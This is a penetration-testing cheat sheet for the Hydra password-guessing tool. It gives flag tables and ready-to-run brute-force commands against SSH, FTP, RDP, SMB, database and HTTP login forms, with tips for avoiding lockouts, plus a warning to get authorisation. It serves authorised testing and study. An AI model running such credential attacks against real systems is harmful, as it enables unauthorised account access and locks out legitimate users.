---
title: 'Hydra (THC-Hydra)'
url: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/hydra'
markdown: 'https://www.rawrso.me/ethical-hacking/cheat-sheets/hydra.md'
date: '2026-11-22'
description: 'Field Detail Summary Online (live-service) password guessing Category Online credential attacks Phase enumeration, exploitation Interface CLI Platform Linux, Windows, macOS Licence Open source (AGPL) Docs https://github.com/vanhauser-thc/thc-hydra Related John the Ripper and Ha…'
taxonomy:
  category:
    - cheat-sheets
  tag:
    - pentest
    - cheatsheet
    - online-credential-attacks
    - enumeration
    - exploitation
---

# Hydra (THC-Hydra)

| Field | Detail |
|---|---|
| **Summary** | Online (live-service) password guessing |
| **Category** | Online credential attacks |
| **Phase** | enumeration, exploitation |
| **Interface** | CLI |
| **Platform** | Linux, Windows, macOS |
| **Licence** | Open source (AGPL) |
| **Docs** | https://github.com/vanhauser-thc/thc-hydra |
| **Related** | John the Ripper and Hashcat, ffuf and Gobuster, SMB and Active Directory enumeration |

Online (live-service) password guessing against network login services — SSH, FTP, HTTP forms, RDP, SMB, databases and more. "Online" = it talks to the real service, so it's slow, noisy and can **lock accounts**.

> **⚠️ Warning — Lockouts and logs**Live brute forcing trips account-lockout policies and fills auth logs/SIEM. Get explicit sign-off, know the lockout threshold, throttle (`-t`), and prefer small targeted lists. Offline cracking of captured hashes with John the Ripper and Hashcat is usually the better route when you already have hashes.

## Syntax shape

```
hydra [-l user | -L userlist] [-p pass | -P passlist] [options] <target> <service> [params]
```

| Flag | Meaning |
|---|---|
| `-l` / `-L` | single login / login list |
| `-p` / `-P` | single password / password list |
| `-C user:pass` | combined `user:pass` file (one pair per line) |
| `-e nsr` | try **n**ull, login **s**ame as pass, **r**eversed |
| `-t 4` | parallel tasks (lower for fragile/lockout-prone services) |
| `-f` | stop after first valid pair (per host) |
| `-s <port>` | non-standard port |
| `-S` | SSL |
| `-V` / `-vV` | show each attempt |
| `-o found.txt` | write results to file |
| `-u` | loop users outer (helps avoid rapid lockout per account) |
| `-R` | restore a previous aborted session |

Common wordlist: `/usr/share/wordlists/rockyou.txt` (`gunzip` it first on Kali).

## Service examples

```bash
# SSH
hydra -l root -P rockyou.txt ssh://10.10.10.5
hydra -L users.txt -P pass.txt -t 4 -f ssh://10.10.10.5

# FTP
hydra -l admin -P pass.txt ftp://10.10.10.5

# RDP (go very gentle — locks fast)
hydra -l administrator -P pass.txt rdp://10.10.10.5 -t 1

# SMB
hydra -L users.txt -P pass.txt smb://10.10.10.5

# Databases
hydra -l root -P pass.txt mysql://10.10.10.5
hydra -l postgres -P pass.txt postgres://10.10.10.5
```

## HTTP form attacks (the fiddly one)

You must give Hydra the request path, the POST body with `^USER^`/`^PASS^` markers, and a **failure** string so it knows what "wrong" looks like.

```bash
# POST form — module http-post-form
# Format:  "<path>:<post-body>:<failure-condition>"
hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

# Use F= for a failure string, S= for a success string instead
hydra -L users.txt -P pass.txt 10.10.10.5 http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=incorrect"

# GET form
hydra ... http-get-form "/login:user=^USER^&pass=^PASS^:F=denied"

# HTTP Basic auth
hydra -l admin -P pass.txt 10.10.10.5 http-get /admin

# HTTPS form
hydra ... https-post-form "..."
```

> **💡 Tip — Getting the failure string right is everything**Submit one bad login manually in Burp Suite, read the response, and copy an exact string that appears **only on failure** (or use `S=` for a string that appears only on success). Wrong condition → Hydra reports every password as valid or none. Also capture the exact field names and any hidden/CSRF tokens from the real request — a changing CSRF token means Hydra won't work and you need ffuf and Gobuster or a scripted approach.

## list modules / help

```bash
hydra                       # usage + supported services
hydra -U http-post-form     # help for a specific module
```

## More Hydra flags

| Flag | Purpose |
|---|---|
| `-M hosts.txt` | Attack many hosts |
| `-x MIN:MAX:CHARSET` | Generate a brute charset instead of a list (e.g. `-x 6:8:a1`) |
| `-e nsr` | Also try null / login-as-password / reversed |
| `-u` | Loop users outer (lowers per-account lockout rate) |
| `-w` / `-W` | Response timeout / wait between attempts |
| `-R` | Restore a previously aborted session |
| `-S` / `-s <port>` | SSL / non-default port |
| `-o out.txt -b json` | Output file + format |
| `-F` / `-f` | Stop after first global / per-host hit |

```bash
hydra -L users.txt -P rockyou.txt -u -t 4 -F ssh://10.10.10.5
hydra -l admin -x 4:6:a1 rdp://10.10.10.5 -t 1     # short charset brute — go gentle on RDP
```

## Kill-chain usage

### Exploitation — credential access

```bash
hydra -L users.txt -P rockyou.txt ssh://10.10.10.5 -t 4 -f   # guess live SSH creds
```

*(Single-stage: Hydra is an online credential attack. Offline cracking of captured hashes is John the Ripper and Hashcat.)*

## Where it fits

Use after enumeration gives you likely usernames (from SMB and Active Directory enumeration, web pages, OSINT). Keep lists small and targeted. If you can get hashes instead (dumps, captures, responder), crack them offline with John the Ripper and Hashcat — faster and it won't lock anyone out.

---

## Navigation

- Parent: [Pentest Tools — Map of Content](https://www.rawrso.me/ethical-hacking/cheat-sheets.md)
- Previous: [GRFICSv2 — ICS practice lab](https://www.rawrso.me/ethical-hacking/cheat-sheets/ot-ics-grficsv2-lab.md)
- Next: [IEC 61850 & IEC 60870-5-104 — power-grid protocols](https://www.rawrso.me/ethical-hacking/cheat-sheets/ot-ics-power-protocols-iec-61850-and-60870.md)
